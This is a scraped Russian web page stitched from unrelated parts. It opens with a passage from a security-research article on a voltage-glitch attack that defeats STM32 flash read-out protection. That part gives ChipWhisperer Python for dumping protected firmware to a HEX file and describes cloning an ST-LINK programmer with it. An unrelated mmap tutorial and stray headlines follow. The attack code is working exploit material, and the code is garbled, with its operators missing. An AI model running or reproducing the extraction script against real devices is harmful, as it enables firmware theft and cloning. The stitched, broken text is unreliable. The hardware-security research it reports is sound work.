        data_out  = read_and_convert_data_hex_file(data_vector, mem_calc, mem_step)   'n'
    return data_out

def read_and_convert_data_hex_file(data_to_convert, memory_address, mem_step):
    addr_string = memory_address -((memory_address >> 20) << 20)

    data_buffer = ''
    crcacc = 0
    for x in range(0, len(data_to_convert)):
        data_buffer  = int2str_0xFF(data_to_convert[x], 2)
        crcacc  = data_to_convert[x]

    crcacc  = mem_step

    temp_addr_string = addr_string
    for i in range (4, -1, -2):
        crcacc  = temp_addr_string >> i*4
        temp_addr_string -= ((temp_addr_string >> i*4) << i*4)

    crcacc_2nd_symbol = (crcacc >> 8)   1
    crcacc = (crcacc_2nd_symbol << 8) - crcacc
    if crcacc == 0x100:
        crcacc = 0
    RECTYP = 0x00
    out_string = ':'  Int_To_Hex_String(mem_step, 2)   
        Int_To_Hex_String((addr_string),4)  
        Int_To_Hex_String(RECTYP, 2)  
        data_buffer  
        Int_To_Hex_String(crcacc, 2)
    return out_string

def send_to_file(info_to_output, File_name, directory):
    file = open(directory   File_name   '.hex', 'w')
    file.write(info_to_output)
    file.close()

def reset_target(scope):
    scope.io.nrst = 'low'
    time.sleep(0.05)
    scope.io.nrst = 'high'

from collections import namedtuple
Range = namedtuple('Range', ['min', 'max', 'step'])

Настройка параметров ChipWhisperer завершена. Итоговый скрипт на считывание прошивки выглядит следующим образом:

# string of start HEX file
Start_of_File_Record = ':020000040800F2'
# string of end HEX file
End_of_File_Record = ':00000001FF'

length_of_sector = 256
if length_of_sector % 4 != 0:
    sys.exit('length_of_sector must be equal to 4')

output_to_file_buffer = ''
output_to_file_buffer  = Start_of_File_Record   'n'

mem_current = mem_start
while mem_current < mem_stop:
    # flush the garbage from the computer's target read buffer
    target.ser.flush()
    # run aux stuff that should run before the scope arms here
    reset_target(scope)
    # initialize STM32 after each reset
    prog.FindSTM()

    try:
        # reading of closed memory sector
        data = prog.stm32readMem(mem_current, length_of_sector)
    except Exception as message:
        message = str(message)
        if "Can't read port" in message:
#            print('Port silence')
            pass
        elif 'Unknown response. 0x11: 0x0' in message:
#            print('Crashed. Reload!')
            pass
        elif 'NACK 0x11' in message:
#            print('Firmware is closed!')
            pass
        else:
#            print('Unknown error:', message, scope.glitch.offset, scope.glitch.width, scope.glitch.ext_offset)
            pass

    else:
        data_to_out = data_dividing_from_256_to_32_bytes (data, mem_current)
        print(data_to_out)
        output_to_file_buffer  = data_to_out
    mem_current  = length_of_sector

output_to_file_buffer  = End_of_File_Record   'n'
send_to_file(output_to_file_buffer, File_name, directory)

Все закомментированные сообщения print() после строчки except Exception as помогают отслеживать состояние МК при поиске оптимальных параметров glitch-импульса. Для отслеживания конкретного состояния МК достаточно раскомментировать необходимое сообщение print().

Результаты считывания

На видео продемонстрирована загрузка прошивки на МК через программатор ST-LINK, перевод RDP в состояние защиты и последующее считывание прошивки:

Успешному проведению Vcc-glitch-атаки могут помешать следующие ошибки:

• считывание неверного сектора памяти;

• самопроизвольное удаление прошивки.

Избежать подобных ошибок поможет точный выбор момента атаки путем увеличения частоты работы ChipWhisperer.

После разработки и отладки алгоритма считывания защищенной прошивки мы провели тестовое считывание прошивки программатора ST-LINK-V2.1, который работает на МК STM32F103CBT6. Считанную прошивку мы зашили на «чистый» МК STM32F103CBT6 и установили его вместо заводского. В результате ST-LINK-V2.1 с замененным МК работал в нормальном режиме, будто подмены не было.

Также мы попробовали провести серию атак на STM32F303RCT7. Этот МК в ходе атаки вел себя идентично STM32F103RBT6, но ответ на запрос чтения памяти содержал байт, равный 0х00, что не совпадало с ожидаемым нами результатом. Причина такой неудачи заключалась в более сложном и развитом принципе организации защиты этих МК.

В МК STM32F1xx существует два состояния защиты: защита выключена (Level 0) и включена (Level 1). В старших моделях предусмотрено три состояния защиты: защита отключена (Level 0, RDP = 0x55AA), защита флеш- и SRAM-памяти (Level 2, RDP = 0x33CC) и защита только флеш-памяти (Level 1, RDP принимает любые значения, отличные от 0x55AA и 0x33CC). Поскольку Level 1 может принимать множество значений RDP, установить Level 0 достаточно тяжело. С другой стороны, существует возможность понижения уровня защиты с Level 2 на Level 1 сбиванием одного бита в байте RDP (показано на рисунке ниже), что открывает доступ к SRAM-памяти.

Как сделать nandroid backup устройства непосредственно на компьютер, минуя sdcard / Хабр

Сравнение значений RDP для разных уровней защиты прошивки

Остается только понять, как этим может воспользоваться злоумышленник. Например, с помощью метода CBS (Cold-Boot Stepping), описанного в этой статье. Этот метод основан на поэтапном снимке состояния SRAM-памяти (периодичность выполнения каждого снимка была в районе микросекунды) после загрузки МК с целью получения ключей шифрования, скрытых паролей или любой другой ценной информации. Авторы предполагают, что метод CBS сработает на всех сериях МК STM32.

Выводы

Подведем итоги наших экспериментов. Выполнение Vcc-glitch-атаки с использованием данных, полученных в результате предыдущего исследования (о котором можно прочитать здесь), заняло у нас несколько дней. А значит, научиться проводить подобные атаки достаточно легко.

Vcc-glitch-атаки опасны тем, что от них сложно защититься. Для уменьшения вероятности успешного проведения подобных атак предлагается использовать МК с более высоким уровнем защиты.

Как сделать nandroid backup устройства непосредственно на компьютер, минуя sdcard / Хабр

Raccoon Security – специальная команда экспертов НТЦ «Вулкан» в области практической информационной безопасности, криптографии, схемотехники, обратной разработки и создания низкоуровневого программного обеспечения.

Файлы, отображаемые в память

В этой статье я хотел бы рассказать о такой замечательной штуке, как файлы, отображаемые в память(memory-mapped files, далее —

MMF

).

Иногда их использование может дать довольно таки существенный прирост производительности по сравнению с обычной буферизированной работой с файлами.

Это механизм, который позволяет отображать файлы на участок памяти. Таким образом, при чтении данных из неё, производится считывание соответствующих байт из файла. С записью аналогично.
«Клёво, конечно, но что это даёт?» — спросите вы. Поясню на примере.
Допустим, перед нами стоит задача обработки большого файла(несколько десятков или даже сотен мегабайт). Казалось бы, задача тривиальна — открываем файл, поблочно копируем из него в память, обрабатываем. Что при этом происходит. Каждый блок копируется во временный кэш, затем из него в нашу память. И так с каждым блоком. Налицо неоптимальное расходование памяти под кэш куча операций копирования. Что же делать?
Тут-то нам на помощь и приходит механизм MMF. Когда мы обращаемся к памяти, в которую отображен файл, данные загружаются с диска в кэш(если их там ещё нет), затем делается отображение кэша в адресное пространство нашей программы. Если эти данные удаляются — отображение отменяется. Таким образом, мы избавляемся от операции копирования из кэша в буфер. Кроме того, нам не нужно париться по поводу оптимизации работы с диском — всю грязную работу берёт на себя ядро ОС.
В своё время я проводил эксперимент. Замерял с помощью quantify скорость работы программы, которая буферизировано копирует большой файл размером 500 мб в другой файл. И скорость работы программы, которая делает то же, но с помощью MMF. Так вот вторая работает быстрее почти на 30% (в Solaris, в других ОС результат может отличаться). Согласитесь, неплохо.
Чтобы воспользоваться этой возможностью, мы должны сообщить ядру о нашем желании отобразить файл в память. Делается это с помощью функции mmap().

#include<sys/mman.h>
void *mmap(void *addr, size_t len, int prot, int flag, int filedes, off_t off);

Она возвращает адрес начала участка отображаемой памяти или

MAP_FAILED

в случае неудачи.

Первый аргумент — желаемый адрес начала участка отбраженной памяти. Не знаю, когда это может пригодится. Передаём 0 — тогда ядро само выберет этот адрес.

len

— количество байт, которое нужно отобразить в память.

prot

— число, определяющее степень защищённости отображенного участка памяти(только чтение, только запись, исполнение, область недоступна). Обычные значения —

PROT_READ

,

PROT_WRITE

(можно кобминировать через ИЛИ). Не буду на этом останавливаться — подробнее читайте в манах. Отмечу лишь, что защищённость памяти не установится ниже, чем права, с которыми открыт файл.

flag

— описывает атрибуты области. Обычное значение —

MAP_SHARED

. По поводу остальных — курите маны. Но замечу, что использование

MAP_FIXED

понижает переносимость приложения, т.к. его подержка является необязательной в POSIX-системах.

filedes

— как вы уже догались — дескриптор файла, который нужно отобразить.

off

— смещение отображенного участка от начала файла.

Важное замечание. Если вы планируете использовать MMF для записи в файл, перед маппингом необходимо установить конечный размер файла не меньше, чем размер отображенной памяти! Иначе нарвётесь на SIGBUS.

Ниже приведён пример(честно стырен из замечательной книжки «Unix. Профессиональное программирование») программы, которая копирует файл с использованием MMF.

#include <fcntl.h>
#include <sys/mman.h>
int main(int argc, char *argv[])
{
int fdin, fdout;
void *src, *dst;
struct stat statbuf;
if (argc != 3)
err_quit("Использование: %s <fromfile> <tofile>", argv[0]);
if ( (fdin = open(argv[1], O_RDONLY)) < 0 )
err_sys("невозможно открыть %s для чтения", argv[1]);
if ( (fdout = open(argv[2], O_RDWR | O_CREAT | O_TRUNC, FILE_MODE)) < 0 )
err_sys("невозможно создать %s для записи", argv[2]);
if ( fstat(fdin, &statbuf) < 0 ) /* определить размер входного файла */
err_sys("fstat error");
/* установить размер выходного файла */
if ( lseek(fdout, statbuf.st_size - 1, SEEK_SET) == -1 )
err_sys("ошибка вызова функции lseek");
if ( write(fdout, "", 1) != 1 )
err_sys("ошибка вызова функции write");
if ( (src = mmap(0, statbuf.st_size, PROT_READ, MAP_SHARED, fdin, 0)) == MAP_FAILED )
err_sys("ошибка вызова функции mmap для входного файла");
if ( (dst = mmap(0, statbuf.st_size, PROT_READ | PROT_WRITE, MAP_SHARED, fdout, 0)) == MAP_FAILED )
err_sys("ошибка вызова функции mmap для выходного файла");
memcpy(dst, src, statbuf.st_size); /* сделать копию файла */
exit(0);
}

* This source code was highlighted with Source Code Highlighter.

Вот вобщем-то и всё. Надеюсь, эта статья была полезной. С удовольствием приму конструктивную критику.

Оцените статью
Huawei Devices
Добавить комментарий